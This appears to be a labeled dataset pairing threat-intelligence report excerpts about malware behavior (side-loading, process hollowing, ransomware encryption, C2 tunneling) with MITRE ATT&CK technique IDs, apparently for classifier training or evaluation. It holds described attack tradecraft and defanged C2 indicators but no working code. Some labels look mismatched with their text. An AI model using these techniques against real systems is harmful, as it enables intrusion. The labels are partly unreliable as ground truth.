"""It creates the folder """"\ProgramData\AuditService\"""" and copies the clean file """"lsass.exe"""" (taken from """"\Windows\System32\"""") into the folder. It also drops a malicious file, """"sspisrv.dll"""", into the folder. The tainted """"services.exe"""" installs """"\ProgramData\AuditService\lsass.exe"""" as an autostart Windows service named """"Audit Service"""". When the new """"lsass.exe"""" service autostarts, the malicious file """"sspisrv.dll"""" sideloads in the same folder. lsass.exe"""" will eventually crash because of a failure to load other dependencies. By the time of the crash, """"sspisrv.dll"""" will already have injected malicious code into the system process """"svchost.exe"""". The injected code is located at the entry point of the DLL and therefore gets executed as soon as the DLL loads. The injected code, which has typical backdoor capabilities, now resides in the tainted """"svchost.exe""",T1547.008
"This service serves the single purpose of checking every 60 seconds if the 'svcohos.exe' process is running. If not, the service will spawn a new instance of it. In doing so, this secondary malware sample acts as both a runtime persistence mechanism, as well as a persistence mechanism across reboots",T1543.003
"Later, the malware enters in a big block of trash code that also includes some elements to decrypt strings and important information for later. The malware uses some tricks to detect debuggers at this point",T1027.001
The Windows operating system provides the functionality to allow custom DLLs to be loaded into the address space of almost all application processes via AppInit DLL registry key. This technique is not particularly complex; it is implemented in early Ramsay versions and is common in other malware families,T1546.010
"Both files are deleted from disk once the configuration files are read and loaded into memory. After loading the keyword and phone data files, MESSAGETAP begins monitoring all network connections to and from the server. It uses the libpcap library to listen to all traffic and parses network protocols starting with Ethernet and IP layers. Finally, the malware parses and extracts SMS message data from the network traffic",T1049
"C&C server domains and IP addresses are extracted with similar XOR routines; where Quarian uses a decryption key of 0x44, Turian uses 0xA9",T1140
"that displays a ransom note when the host boots (Figure 1) and, at the same time, performs destructive operations on the infected host's hard drives",T1542.003
"The installer stores the RAT component in the registry and establishes persistence for the loader component. In the analyzed sample, the installer was named ""SdbInstallerDll[.]dll"". Most of its important strings and data were XOR-encoded with a hardcoded 128-byte key",T1027
"While the decoy in Figure 2 is displayed, the macro will search the document for the delimiter ###$$$ and write the base64 encoded text that follows this delimiter to the file %APPDATA%\Base.txt. The macro then creates a scheduled task named SecurityAssist that runs after waiting one minute. The Trojan extracts and loads this embedded assembly by concatenating the contents of two resources named S1 and S2 and decompresses the resulting data using the GZipSteam class. The resulting Interop.SHDocVw .NET assembly is packed with SmartAssembly and further obfuscated using Confuser v1.9.0.0. hex(Environment.UserName/Environment.MachineName)> The Trojan will issue a request to this URL to check (hence the chk string in the URL) to see if the C2 server has a command for the Trojan to run. The C2 server will respond to the Trojan's request by echoing the value <hex(Environment.UserName/Environment.MachineName)> if it wishes to provide additional commands. If the C2 server does not respond with the appropriate echoed data, the Trojan will create a file named srvCheckresponded.tmp in the SpecialFolder.CommonApplicationData folder and write nothing to it before exiting. If the C2 server provides the appropriate echoed data in the response, the Trojan attempts to determine what commands the C2 wishes to run by issuing a request to the following URL: domain>/what. hex(Environment.UserName/Environment.MachineName)> After issuing the what command, the Trojan will parse the C2's response for the string Oops, which the Trojan will treat as the C2 making a mistake and will exit. Otherwise, the Server will respond with a command followed by a set of parameters, split up by the delimiter <>: [command]<>[parameters for command in hexadecimal format] The available commands are",T1140
"Microsoft has detected multiple 0-day exploits being used to attack on-premises versions of Microsoft Exchange Server in limited and targeted attacks. Microsoft Threat Intelligence Center (MSTIC) attributes this campaign with high confidence to HAFNIUM, a group assessed to be state-sponsored and operating out of China, based on observed victimology, tactics and procedures",T1190
"The scripts are responsible for deobfuscating and executing the main JavaScript file mspromo.dot. The file uses a character insertion obfuscation technique, making it appear to contain Chinese characters",T1027
"Throughout its code, Kazuar verbosely logs its activities by writing debug messages to log files stored within the ""log"" folder. Kazuar encrypts the debug messages saved in these log files using the Rijndael cipher. We decrypted the initial entry that was added to the log files during the execution of the Trojan",T1027
"Once the XSL script has identified that Avast is installed on the machine, it loads a malicious module Irdsnhrxxxfery64 from its location on disk. In order to load this module, it uses an ActiveX Object ShA created with Shell.Application capabilities. The object uses ShellExecute() to create an aswrundll.exe process instance and loads Irdsnhrxxxfery64. It loads the module with parameter vShow set to zero, which opens the application with a hidden window",T1564.003
"In multiple instances, the threat actors accessed workstations and servers on a corporate network that contained data output from control systems within energy generation facilities. The threat actors accessed files pertaining to ICS or supervisory control and data acquisition (SCADA) systems. Based on DHS analysis of existing compromises, these files were named containing ICS vendor names and ICS reference documents pertaining to the organization (e.g",T1135
"Indeed, VboxVmService comes with a configuration file (see Script 5) in which it is possible to enable the AutoStart option so the virtual machine is automatically launched at startup",T1543.003
"In order to obtain credentials, the threat actor used another technique that can be seen in the below screenshots. They dumped specific hives from the Windows Registry, such as the SAM hive, which contains password hashes",T1003.002
"Setting these registry keys both enables the AppInit_DLL functionality, and ensures that every user mode process that is spawned will load the ResN32.dll library",T1546.010
"The initial JS code that executes exe has a hardcoded absolute path, so executing it from another location or with another user will fail. The final More_eggs payload is encrypted with a key that has the hostname and processor family information appended at the end. An example key is",T1027
"The file encryption algorithm imports a hard-coded RSA 1024-bit public key from the encrypted strings table using CryptImportPublicKeyInfo, and for each file, generates a 128-bit RC4 key using CryptGenKey. The RC4 key is then used to encrypt the file in place. Once it is encrypted, the file is moved to a new file with the same name, and the file extension is appended with the keyword .locked",T1486
"It is important to take into consideration that the malware forges the POST string to make the connection with a random choice from a list of possible strings such as ""forum"", ""php"", ""view"", etc. to make detection harder with IPS or other filters on the network",T1568
"""Once the preliminary system information has been gathered by the instrumentor, it will usually download and deploy three key implants on the endpoint. All these implants are DLL files meant to serve very specific purposes.A marker file """"qwer.txt"""" is created by the instrumentor script prior to downloading and deploying any of the implants. This file acts as an infection marker for the implants that check for the presence of this file before performing any malicious activities. The instrumentor script downloads the DLL implants and then creates a temporary PowerShell script to deploy the DLL on the infected system.The DLL implants downloaded to a file on disk usually have their first byte modified. This is used as an evasion mechanism to prevent recognition of the executable file format. Once the DLL is downloaded, the PowerShell script resets its first byte to 0x4D. The DLL is then deployed on the endpoint using rundll32.exe.PowerShell script modifying and running the DLL implant using rundll32.exe""",T1027
"If the decryption of the parameters (target file path and replacement source code) is successful and if the MD5 checks pass, SUNSPOT proceeds with the replacement of the source file content. The original source file is copied with a .bk extension (e.g. InventoryManager.bk), to back up the original content. The backdoored source is written to the same filename, but with a .tmp extension (e.g. InventoryManager.tmp), before being moved using MoveFileEx to the original filename (InventoryManager.cs). After these steps, the source file backdoored with SUNBURST will then be compiled as part of the standard process",T1480 | T1565.001
"Capture user input, such as keylogging (the most prevalent type of input capture), to obtain credentials for valid accounts and information collection (Input Capture [T1056]) - Obtain account login and password information, generally in the form of a hash or a clear text password, from the operating system and software (OS Credential Dumping [T1056]) - Gather private keys from compromised systems to authenticate to remote services or decrypt other collected files (Unsecured Credentials: Private Keys [T1552.004]) - Manipulate default, domain, local, and cloud accounts to maintain access to credentials and certain permission levels within an environment (Account Manipulation [T1098]) - Abuse hooking to load and execute malicious code within the context of another process to mask the execution, allow access to the process's memory, and, possibly, gain elevated privileges (Input Capture: Credential API Hooking [T1056.004]) - Use brute force techniques to attempt account access when passwords are unknown or when password hashes are unavailable (Brute Force [T1110",T1110
"Process name, service name, and driver path listings are obtained, and each value is hashed via the FNV-1a + XOR algorithm as described previously and checked against hardcoded blocklists. If a blocklisted process is found the Update routine exits and the sample will continue to try executing the routine until the blocklist passes. Blocklisted services are stopped by setting their HKLM\SYSTEM\CurrentControlSet\services\<service_name>\Start registry entries to value 4 for disabled. Some entries in the service list if found on the system may affect the DGA algorithms behavior in terms of the values generated. The list of stopped services is then bit-packed into the ReportWatcherPostpone key of the appSettings entry for the samples' config file. If any service was transitioned to disabled the Update method exits and retries later",T1112
"After setting up persistent access, the payload checks to see if a value exists within a registry key in the HKCU hive whose name is the same as the scheduled task (ex. This registry key is empty upon the first execution of the payload. If either attempt is successful, the C2 server will respond with the session ID and a pre-shared key in cleartext, which it will save to the previously mentioned registry key. The C2 server will provide the pre-shared key within the response data and will provide the session ID value via the Set-Cookie field within the response, specifically the string after the PHPSESSID parameter of the cookie. If both attempts fail and the payload is unable to obtain a session ID and pre-shared key via HTTP or HTTPS, it will try to use DNS tunneling. To obtain the session ID and pre-shared key, the payload will issue a query to resolve the following domain: mail. random number between 100000 and 999999>.<c2 name> This request notifies the C2 server that the payload is about to send system specific data as part of the initial handshake. The script will first attempt to communicate with the C2 server using HTTPS (HTTP if unsuccessful), which involves GET requests using the session ID within the request's cookie in the PHPSESSID field, as seen in the example GET request",T1112
"Moreover, the attackers used the ""right-to-left override"" technique that causes parts of the executables' names to be reversed, making them appear to have a different extension such as .jpg or .mp4, rather than their real one",T1036.002
"Besides the backdoor access, Skidmap also creates another way for its operators to gain access to the machine",T1556.003
"When launched, GoldFinder can identify all HTTP proxy servers and other redirectors such as network security devices that an HTTP request travels through inside and outside the network to reach the intended C2 server. When used on a compromised device, GoldFinder can be used to inform the actor of potential points of discovery or logging of their other actions, such as C2 communication with GoldMax",T1016.001 | T1016.001
"We also discovered an interesting piece of rare malware created by this threat actor - a Bluetooth device harvester. This malware is responsible for stealing Bluetooth device information. It is fetched by a downloader, and collects information directly from the infected host. This malware uses Windows Bluetooth APIs to find information on connected Bluetooth devices and saves the following information",T1120
"Most of the strings inside the module are encrypted with a homebrew XOR-based algorithm. In addition to that, API function names are reversed, presumably to avoid detection in memory",T1027
The SQLRat script is designed to make a direct SQL connection to a Microsoft database controlled by the attackers and execute the contents of various tables. The script retrieves an item from the bindata table and writes the file to disk. This file appears to primarily be a version of TinyMet-an open source Meterpreter stager-but the actors have the option to store and execute any binary loaded into the table,T1105
"It attempts to detect if it is being run in a Virtual Machine (VM) using a WMI query for disk drive name, BIOS, and motherboard",T1497.001
"In addition to file name changes, the biggest (pardon the pun) change involves the Loader Trojan (Syncmgr.dll) appending junk data to the end of the Emissary DLL file to make incredibly large files. The reason for creating such large files is to trick antivirus applications into not scanning the file, as it could exceed the maximum size of files the antivirus can scan (even VirusTotal has a maximum file size of 128MB). For instance, the following pseudo code contains two loops that will end up appending 524,288,000 bytes to the end of file, resulting in a DLL that exceeds 500MB in size",T1027.001
"When running under a limited UAC account, the installer extracts d3d9.dll and creates a persistence key under HKCU\Software\Microsoft\Windows\Run. This indicates that the authors are trying to hide some messages showed by the system during the setup process",T1113
"We analyzed different variants of malicious modules used by the Gamaredon group to inject malicious macros or remote templates into documents already present on the compromised system. This is a very efficient way of moving laterally within an organization's network as documents are routinely shared amongst colleagues. Also, as these macros are run when opening the documents, it is a good way to persist on a system as some of these documents are likely to be opened multiple times and at different times",T1221
"In brute-force mode, the tooling attempts many username: password attempts very rapidly for a much shorter time period. Organizations targeted by the tooling running in this mode typically see over 300 authentication attempts per hour per targeted account over the course of several hours or days",T1110.001
"Azorult uses a process hollowing technique to build the new malware image. First, the sample decrypts the payload in the memory. Then the sample creates a new suspended process of itself. The sample then injects a decrypted payload to the new process. Lastly, the sample resumes new process execution and exhibits malicious behaviors",T1055.012
Capturing screenshots at a configurable interval and uploading them to the attacker. Downloading and executing additional files. Executing arbitrary commands on the system.,T1105 | T1113 | T1041 | T1005 | T1119
"The exploit also contains an additional check that ATMFD.dll is of the exact version “5.0.2.227”. As the Houston Disk exploit supported additional versions, we aren’t fully sure why the version range was narrowed down in DanderSpritz. Compared to ElEi, there is no indicative patch check, which may be because the DanderSpritz files are dated to mid-2013, which is prior to the patch that was identified by Kaspersky and is dated to October 2013.",T1203 | T1518
"APT33 registered multiple domains that masquerade as Saudi Arabian aviation companies and Western organizations that together have partnerships to provide training, maintenance and support for Saudi’s military and commercial fleet. Based on observed targeting patterns, APT33 likely used these domains in spear phishing emails to target victim organizations.",T1598.003 | T1566 | T1583.001 | T1036.005 | T1598
"Another important conclusion we drew from analyzing the exploited vulnerability is that we now know for sure that EpMe exploits CVE-2017-0005. On top of our analysis of both the Equation Group and APT31 exploits, the EpMe exploit aligns perfectly with the details reported in Microsoft’s blog on CVE-2017-0005. And if that wasn’t enough, the exploit indeed stopped working after Microsoft’s March 2017 patch, the patch that addressed the said vulnerability.",T1587.004 | T1588.006 | T1588.005 | T1499.004
"DeathStalker has leveraged several malware strains and delivery chains over the years, from the Python- and VisualBasic-based Janicab to the PowerShell-based Powersing and the JavaScript-based Evilnum. The actor consistently used what we call “dead-drop resolvers” (DDRs), which is obfuscated content hosted on major public web services like YouTube, Twitter or Reddit; once decoded by malware this content reveals a command-and-control (C2) server address. DeathStalker also consistently leveraged anti-detection and antivirus evasion techniques, as well as intricate delivery chains that drop lots of files to the target’s filesystems. To kick-start an infection, DeathStalker usually relies on spear-phishing emails with attachments, or links to public file sharing services, as well as script execution based on Windows shortcuts. We have identified how DeathStalker’s malware compromises in clusters or targets various types of entities in all parts of the world, with a possible focus on law and consultancy offices, as well as FINTECH companies, but without a clearly identifiable or consistent interest. The targeting does not seem to be politically or strategically defined and doesn’t appear to be the usual financially motived crime. Because of this, we conclude that DeathStalker is a cyber-mercenary organization.",T1027 | T1102 | T1566.001 | T1059 | T1598.002 | T1598.003 | T1566.002 | T1059.005 | T1204.002 | T1059.007 | T1204.001 | T1204 | T1566.003 | T1059.006 | T1566 | T1588.001 | T1059.001 | T1587.001
"While investigating the activity, we found a CASHY200 PowerShell-based payload that communicated with windows64x[.]com. We analyzed this PowerShell script and found that its DNS tunneling protocol matched the outbound DNS requests at the Kuwait organization which were blocked by DNS Security. We will provide an analysis of CASHY200 and its DNS tunneling protocol in a later section of this blog.",T1071.004 | T1572 | T1583.002 | T1059
"The infection procedure lists all directories. Then, for each directory, it creates a copy of itself in the drive root directory using the same directory name and changing the directory attribute to “hidden”. This results in all the actual directories being hidden and replaced with a copy of the malware using the same directory name.",T1083 | T1036 | T1036.005
"Aro.dat is, in fact, an encrypted and compressed PlugX payload. The decryption routine within Aro.dat closely resembles that of older PlugX variants (see Figure 3 below) in that it involves multiple decryption keys and bit shift operations. Once decrypted, it gets decompressed via the Windows API RtlDecompressBuffer into a Windows module (DLL). The compression algorithm is LZ compression (COMPRESSION_FORMAT_LZNT1).",T1140 | T1027 | T1106 | T1027.002
"The two variants of Helminth do require different delivery methods, with the script variant relying on an Excel spreadsheet for delivery, while the executable variant is more traditional in the fact that it can be installed without a delivery document. We speculate that the executable variant involves threat actors socially engineering the victim into running the payload, rather than installing the payload as the result of successful exploitation of a vulnerability. The multiple delivery methods suggest this threat group is capable of adapting their procedures to suit the current operation in the overarching campaign.",T1204 | T1204.002 | T1204.001
The services simply call mshta.exe to download an HTML application that downloads and runs the same cryptominer loader.,T1218.005 | T1105
"DeathStalker hides strings in Word embedded shape and object (OLE packages) properties, like the “hyperlink” property, to obfuscate the malicious execution workflow, as well as reconstruct and execute commands or scripts.",T1027 | T1140 | T1036
Some malicious documents that we managed to retrieve contained a social engineering banner asking users to enable macros execution. This explains how the malicious logic from the macro-based delivery chain could actually be triggered when macros are disabled by default on most modern Office settings.,T1204.002 | T1204
"In order to terminate some of these processes and services, DopplePaymer uses an interesting technique that leverages ProcessHacker, a legitimate open-source administrative utility. This application is bundled with a kernel driver that can be used to terminate processes and services. DoppelPaymer is bundled with six portable executable (PE) files that are encrypted and compressed in the malware’s sdata section. These PE files contain 32-bit and 64-bit versions of the following:",T1027 | T1140 | T1489
"The main payload is encrypted and packed inside the .tls section of the second stage injector. It first gets decrypted and then unpacked with the aPLib compression library. As persistence method, the main payload copies the initial loader to the AppData folder and creates a Jscript file inside the Startup folder which points to it. The second stage injector injects the main payload inside a x86 instance of svchost and patches its API function calls with an obfuscation technique to make static and dynamic analysis of the malware more difficult.",T1027 | T1140 | T1027.002 | T1547.001 | T1055 | T1036 | T1055.012 | T1547.009
"The TwoFace loader parses the HTTP POST requests issued by the actor and references data at specific locations, more specifically at certain indexes within the posted data (C# “Request.Forms”) that the shell will use to determine the functionality the actor wishes to execute. While we did not have logs of HTTP requests for the loader shell, we were able to determine some of the indexes that the webshell will specifically access within the data. Table 2 shows the known indexes within the HTTP POST data that TwoFace references.",T1071 | T1071.001 | T1105
"""Starting in mid-December 2020, malicious actors that Mandiant tracks as UNC2546 exploited multiple zero-day vulnerabilities in Accellion’s legacy File Transfer Appliance (FTA) to install a newly discovered web shell named DEWMODE. The motivation of UNC2546 was not immediately apparent, but starting in late January 2021, several organizations that had been impacted by UNC2546 in the prior month began receiving extortion emails from actors threatening to publish stolen data on the “CL0P^_- LEAKS"""" .onion website.""",T1505.003
We confirmed RGDoor installed correctly into IIS by checking the HTTP Modules display in IIS Manager. Figure 2 shows the RGDoor DLL (HTTPParser.dll) was loaded into IIS using the module name HTTPParser.,T1036 | T1036.005 | T1505.004
"The end result is a legitimate, though outdated (version 11, compiled on September 17, 2018, at 10:30:12 UTC), TeamViewer instance hijacked by a malicious sideloaded DLL (MINEBRIDGE).",T1036.005 | T1036 | T1219 | T1588.002 | T1055.001
"On April 24, 2017, a fourth IP address, this one apparently in the United States, issued 61 commands to the TwoFace webshell. Like the previous set of commands issued in March 2017 from France, this IP address issued the command to obtain objects in the Exchange Trusted Subsystem group, and it appears the actor copied over yet another webshell named “global.aspx” and set the file’s attributes to be hidden using the following command:",T1083 | T1105 | T1564.001
"Once the decrypted payload runs in memory, it exhibits the same behaviors as previous PlugX implant variants. It starts by decrypting the embedded PlugX hardcoded configuration settings. The decryption algorithm and XOR keys are fairly consistent across multiple PlugX implants. Code behavior closely resembles that of the RedDelta PlugX that’s been reported by Insikt Group. One noticeable difference with this sample compared to all the other known PlugX malware families is the magic number check performed during the initialization of the PlugX plugins. Historically, that number has always been 0x504C5547, which corresponds to the PLUG value in ASCII encoding. In this sample, the magic number is 0x54484F52, corresponding to the THOR value in ASCII encoding.",T1027 | T1140
"BokBot has several executable modules that can be downloaded and injected into a svchost.exe child process. Once the relevant DAT file is decoded using RC4, no additional decoding or decompression is necessary for the executable module DAT files. The executable module header contains information necessary to ID the module:",T1055 | T1027 | T1140 | T1055.003
"The decrypted payload belongs to the malware family POISONPLUG (MD5: 84b69b5d14ba5c5c9258370c9505438f). POISONPLUG is a highly obfuscated modular backdoor with plug-in capabilities. The malware is capable of registry or service persistence, self-removal, plug-in execution, and network connection forwarding. POISONPLUG has been observed using social platforms to host encoded command and control commands.",T1027 | T1140 | T1112 | T1543.003 | T1070.004 | T1569.002 | T1547.001
"The evolution of the reflective DLL injection technique can be found from the relevant PDB paths, and there are a lot of variants of this series of backdoors.",T1055 | T1055.001 | T1620
"Our Ramnit sample exploits both CVE-2013-3660 (by PlayBit) and CVE-2014-4113 (using the same exploit code originally found as a 0-Day). The original exploit for CVE-2014-4113 was part of an exploit framework in which the API passes a command-line argument, and that command is executed as SYSTEM. As that wasn’t the original API for PlayBit’s exploit, some adjustments were made and PlayBit’s exploits were re-adjusted to receive a command-line argument to be executed once elevated.",T1068 | T1203
"In total, we observed three variations of CMSTAR in these recent attacks against Belarusian targets. The biggest change observed between them looks to be minor modifications made to the string obfuscation routine. A very simple modification to the digit used in subtraction was modified between the variants, as shown below:",T1027 | T1587.001
"After the execution of qnxfhfim.cmdline, PowerShell initiated the first connection to the fronted domain lumiahelptipsmscdnqa[.]microsoft[.]com used by SMOKEDHAM.",T1059.001
"The lure documents captured in this attack are in Yiddish[1] The attackers exploit office with OLE autolink objects (CVE-2017-0199) to embed the documents onto malicious websites. All the exploits and malicious payload were uploaded through remote servers. [1]The language is automatically identified by Google Translate  _Notification in the pop-up window: _ Links to this document may reference other files. Do you want to update this document with the data in the linked file? Once victims opened the lure document, Word will firstly visit a remote website of IE vbscript 0day (CVE-2018-8174) to trigger the exploit. Afterwards, Shellcode will be running to send several requests to get payload from remote servers. The payload will then be decrypted for further attack. While the payload is running, Word will release three DLL backdoors locally. The backdoors will be installed and executed through PowerShell and rundll32. UAC bypass was used in this process, as well as file steganography and memory reflection uploading, in order to bypass traffic detection and to complete loading without any files. The main process of the attack is shown in the following figure:",T1203 | T1140 | T1059 | T1027 | T1102 | T1204.002 | T1036 | T1204 | T1059.001 | T1204.001 | T1218.011 | T1548.002
"The hooking of IofCallDriver is implemented in a relatively unconventional way. The hook unwinds the execution stack; if it finds any driver in the stack which is not in the rootkit’s allowlist, and that driver attempts to read certain files, a fake “reading successful” status is returned. However, the file is not actually read.",T1057 | T1014 | T1518.001
"The execution flow of GandCrab 2 is inherited from GandCrab 1 (pictured), and can be roughly divided into three parts: housekeeping (appears in the diagram as teal), C&C Communication (green), actual encryption (yellow) and final housekeeping (teal again). This execution flow proceeds as follows:",T1486
"Each target country is assigned its own operator, who is able to take advantage of local cultural features – for example, the tendency to use personal email accounts for work. They also made use of a specific proxy server within a country’s borders, to manage connections to infected computers and transfer data to the attackers’ Command-and-Control (C2) servers.",T1090 | T1090.002
"Throughout January 2020, FireEye has continued to observe multiple targeted phishing campaigns designed to download and deploy a backdoor we track as MINEBRIDGE. The campaigns primarily targeted financial services organizations in the United States, though targeting is likely more widespread than those we’ve initially observed in our FireEye product telemetry. At least one campaign targeted South Korean organizations, including a marketing agency.",T1105 | T1598.002 | T1598.003 | T1566.002
"Now that we have the decrypted AES key, we can decrypt the actual payload. The Flash downloader uses a custom initialization vector (IV) for the AES algorithm which can be found at offset 0x44 in the encrypted blob and is 16 bytes long:",T1027 | T1140
"Unlike previously identified RedDelta PlugX samples, this one uses a legitimate Avast Proxy executable for the second DLL side-loading phase rather than the legitimate Adobe executable used in previously analyzed samples. When loaded into memory, the PlugX payload uses www.systeminfor[.]com for command and control — the same domain used across the Catholic church-themed PlugX samples. Across all four newly analyzed samples, the first stage DLL loader files share an identical, uncommon import hash and rich header with previously observed first stage RedDelta PlugX DLLs. The loaded PlugX payload also matches the custom RedDelta PlugX variant previously described, using RC4 encryption for C2 communications with the same hardcoded RC4 passphrase and configuration block decoding function.",T1573 | T1027 | T1140 | T1036.005 | T1036 | T1104
"In February 2019, Unit 42 found that a yet-to-be-known threat actor — unbeknownst to the infosec community — discovered that the second unpatched vulnerability can not only exploit VirtualBox VBoxDrv.sys driver v1.6.2, but also all other versions up to v3.0.0. Furthermore, our research shows that this unknown actor exploited VirtualBox driver version 2.2.0 to target at least two different Russian organizations in 2017, which we are revealing for the first time. We anticipate this was done because the driver version 2.2.0 wasn’t known to be vulnerable and thus most likely is not on the radar of security companies being exploited. Since no other victims have been found, we believe this is a very rare malware used in targeted attacks only.",T1068 | T1203 | T1588.006 | T1211 | T1588.005
"This attack consisted of maldocs masquerading as internal government or military documents. For example, some of the maldocs discovered by Talos masquerade as Indian Air Publications (IAP) documents dictating safeguard procedures for the IT infrastructure of the Indian Air Force (IAF). These documents are aptly named:",T1036
"After the bootstrap is finished, the exploit triggers a call to the NtGdiBitBlt syscall. This initiates a chain of events in the Windows kernel and eventually passes the flow back to our user-mode callback (DrvBitBlt()) registered by our UMPD. Here lies the heart of the exploit.",T1068 | T1106
"When initiated, the Python code attempts to retrieve and use SOCKS/HTTP proxy settings from the victim’s computer. The Python code then tries to initiate a reverse connection to the C2 server (139.59.46[.]154:3543) using a TCP protocol with RSA+AES traffic encryption and obfs3 transport using default keys from Pupy sources.",T1573 | T1095 | T1090 | T1573.001 | T1571 | T1090.001 | T1001
"""To gather credentials and facilitate lateral movement, ransomware deployment, the operators used PowerShell to recursively search the file system for logon credentials stored in text files and spreadsheets. The PowerShell tool """"SessionGopher"""", capable of extracting session information from remote access tools, such as WinSCP, PuTTY, FileZilla and more, was also used enabling RDP and the Microsoft Sysinternals utility PsExec to allow lateral movement.""",T1003 | T1555 | T1021.001 | T1059.001 | T1021 | T1005 | T1552.001
"The platform is started by the kernel mode driver component (“msndsrv.sys” on Windows 2000 or above and “mssvc32.vxd” on Windows 9x). The driver then waits for the system to start and initiates execution of the user-mode loader “mscfg32.exe”. The loader then starts the platform’s central module (an orchestrator) from the “mscfg32.dll” module. Additional drivers and libraries may be loaded by different components of the platform, either built-in or auxiliary.",T1543.003 | T1106
In June of 2015 a custom downloader used by many newer samples was first seen in the wild and is often included in SFX implants with the name “LocalSMS.dll”. This downloader makes requests to adobe.update-service[.]net (hardcoded in the sample) and is further discussed in Appendix A.,T1036 | T1036.005 | T1027.002 | T1105
"Here is the script hosted on Pastebin: Reflective loader downloaded from pastebin.com The script executes a hardcoded PE file located — Gandcrab —at the end of the script using a reflective DLL-loading technique. In addition to the ransomware, we identified another actor trying to execute a Monero miner on the vulnerable server with China Chopper:",T1102 | T1620
"Ryuk uses a rather basic injection technique, whereby it first gets a handle on the target process using OpenProcess and allocates a buffer in its address space using VirtualAllocEx. The allocated buffer would have the size of the malware’s image and would be required to be positioned at the same base address.",T1106 | T1055 | T1055.002
"The following figure shows the content of the downloaded shell script sh. Upon execution, the sh script downloads different architectures of DDoS bot, and runs the downloaded binaries. None of the malwares was available on Virustotal at the time of our discovery, however many of them were uploaded to Virustotal not long after. More and more attack traffic are being detected at the time of writing, indicating that many devices are probably infected already.",T1059 | T1059.004 | T1587.001
"2.      The “set key” handler is used for accepting the victim ID, a random string with six characters, assigned by the C&C server. It will be attached in each of commands sent from the server and will also be used as the folder name on a cloud storage service to save the stolen data. The victim ID will be stored in the “bps.key” file.",T1041 | T1567.002
"We observed previous, somewhat similar spearphishing scenarios with an archive containing .LNK, .docx, and base64 encoded executable code, delivering offensive Finfisher objects in separate intrusion activity clusters. This activity was not Sofacy, but the spearphishing techniques were somewhat similar – the layered powershell script attachment technique is not the same, but not altogether new.",T1566.001 | T1598.002 | T1547.009
"Out of all the modules used in this attack, Filesystem.dll might be the only one whose code was actually written by the attackers themselves. The purpose of this module is to enumerate drives, folders and files on the infected system and write the final results to two text files: Drives.txt and Files.txt.",T1083 | T1074.001
The persistence is guaranteed by a method that is called when the program is closing. It checks if the malware directory exists as specified in an embedded configuration and then copies the malware executable inside it. It also creates a registry key under “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” to execute the worm automatically.,T1547.001 | T1547
"Assuming the weaponized document’s macro code has executed the encoded, heavily obfuscated JScript code will be saved to disk and executed. One of the first behaviours observed is that of a fake error message box, such as the example in Figure 25. Message text varies but follows a theme of reporting something seemingly legitimate failed to run – another false sense of security for the victim.",T1027 | T1140 | T1036 | T1204.002 | T1204 | T1059.007
"During our analysis, we identified follow on POST requests containing screenshots of the compromised desktop and process activity lists which were encrypted and appended to a false JPEG header as described previously.",T1113 | T1140 | T1057 | T1071.001
"To enable lateral movement, the adversary uses ping and nslookup commands, in addition to scanning the environment for Windows systems listening on port 445. This is done using a simple port scanning binary unique to PROPHET SPIDER, typically named pscan or pscan2. For example, process logging may reveal similar commands to the below. Note the commands are executed by the oracle user account, which is the user that runs WebLogic. In multiple PROPHET SPIDER cases, CrowdStrike observed a reverse shell binary located at /var/tmp/[filename], which launches bash as a child; and the pscan2 command is a child to bash. The reverse shell is a child to PID 1, which indicates it was either executed via an init script created for persistence, or its parent was terminated causing it to become a zombie process that was reaped by the init daemon.",T1018 | T1059 | T1049 | T1059.004 | T1046 | T1021.002
"Cardinal RAT is deployed using an interesting technique of compiling and executing a downloader via a malicious macro embedded within a Microsoft Excel file. The Excel files themselves contain lures that have financial themes. This threat has had a low volume of samples in the past two years, with 11 instances of Carp Downloader and 27 instances of Cardinal RAT observed. Palo Alto Networks customers are protected by these threats in the following ways:",T1105 | T1204 | T1204.002 | T1203
"The global reach of the January 2017 campaign which we analyzed in this post is a marked departure from previous Dimnie targeting tactics. Multiple factors have contributed to Dimnie’s relatively long-lived existence. By masking upload and download network traffic as innocuous user activity, Dimnie has taken advantage of defenders’ assumptions about what normal traffic looks like. This blending in tactic, combined with a prior penchant for targeting systems used by Russian speakers, likely allowed Dimnie to remain relatively unknown.",T1105 | T1132 | T1027
"During the execution of subsequent instructions, a call to the 0x10001D9A function is made. This function has a loop located at offset 0x10001E4D and performs several operations. One of these operations is a 1-byte XOR instruction (xor byte ptr [esi+ecx], al) located at offset 0x10001E4D. Its purpose is to decrypt a total of 110591 bytes of the executable’s resource data where the PE binary data is stored. The final result is an in-memory reconstructed executable file. In Figure 19, the encrypted and decrypted data in the process’s memory can be seen.",T1140
"Agent ORM began circulating alongside Sekur in campaigns throughout the second half of 2015. The malware collects basic system information and is able to take screenshots of victim systems. It is used to download next-stage payloads when systems of interest are identified. It is strongly suspected that Agent ORM has been deprecated in favor of script-based first-stage implants (VB Flash, JS Flash, and Bateleur).",T1105 | T1113 | T1082 | T1119 | T1059.005 | T1059.007 | T1005
"In this sense, APT3 crafted its own exploit from other exploits – a tactic very similar to one used by the Equation group. As this threat group also uses the name UPS team, we decided to name their version of the exploit bundle UPSynergy.",T1068 | T1588.005 | T1587.004
"First, the module checks if it is running in a target process name and (if specified) by the target username. If the module or user names do not match, the thread terminates.",T1033 | T1057 | T1087 | T1480
SMOKEDHAM was observed using UltraVNC to establish a connection to the IP address and port pair 81.91.177[.]54[:]7234 that has been observed in past UNC2465 intrusions.,T1571
"The execution of the modified Mshta file resulted in the creation of a HTM file called loubSi78Vgb9[1].htm that was written to a temporary INetCache directory. Mandiant was not able to acquire this file at the time of writing; however, Mandiant was able to recover partial contents of the file.",T1036.005
"But even more curious were the names of malicious drivers in this list, which if found could indicate that the target system has already been compromised by another attacker, and would then warn the operators to “pull back”. Another pivotal component in the Equation Group’s arsenal that is in charge of such checks is called “Territorial Dispute”, or “TeDi”.",T1083 | T1082 | T1480
"In recent OilRig attacks, the threat actors purport to be legitimate service providers offering service and technical troubleshooting as a social engineering theme in their spear-phishing attacks. Earlier OilRig attacks appear to use fake job offers as a social engineering theme. The campaign appears highly targeted and delivers a backdoor we have called ‘Helminth’. Over the course of the attack campaign, we have observed two different variations of the Helminth backdoor, one written in VBScript and PowerShell that was delivered via a macro within Excel spreadsheets and the other a standalone Windows executable.",T1598.003 | T1598.002 | T1566.002 | T1566 | T1566.001 | T1598.001 | T1036
